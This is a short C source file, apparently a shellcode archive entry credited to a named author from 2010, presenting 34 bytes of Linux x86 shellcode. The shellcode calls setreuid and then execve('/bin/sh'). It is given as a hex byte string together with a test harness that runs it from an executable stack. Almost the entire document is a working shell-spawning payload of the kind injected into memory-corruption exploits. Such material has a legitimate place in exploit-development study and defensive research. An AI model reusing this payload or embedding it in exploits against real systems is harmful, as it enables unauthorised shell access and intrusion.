34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") Shellcode

#include <stdio.h> #include <string.h> /* by Magnefikko 14.04.2010 magnefikko@gmail.com promhyl.oz.pl Subgroup: #PRekambr Name: 34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") shellcode Platform: Linux x86 setreuid(getuid(), getuid()); execve("/bin/sh"); gcc -Wl,-z,execstack filename.c shellcode: \x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80 */ int main(){ char shell[] = "\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80"; printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell) = %d\n", strlen(shell)); (*(void (*)()) shell)(); }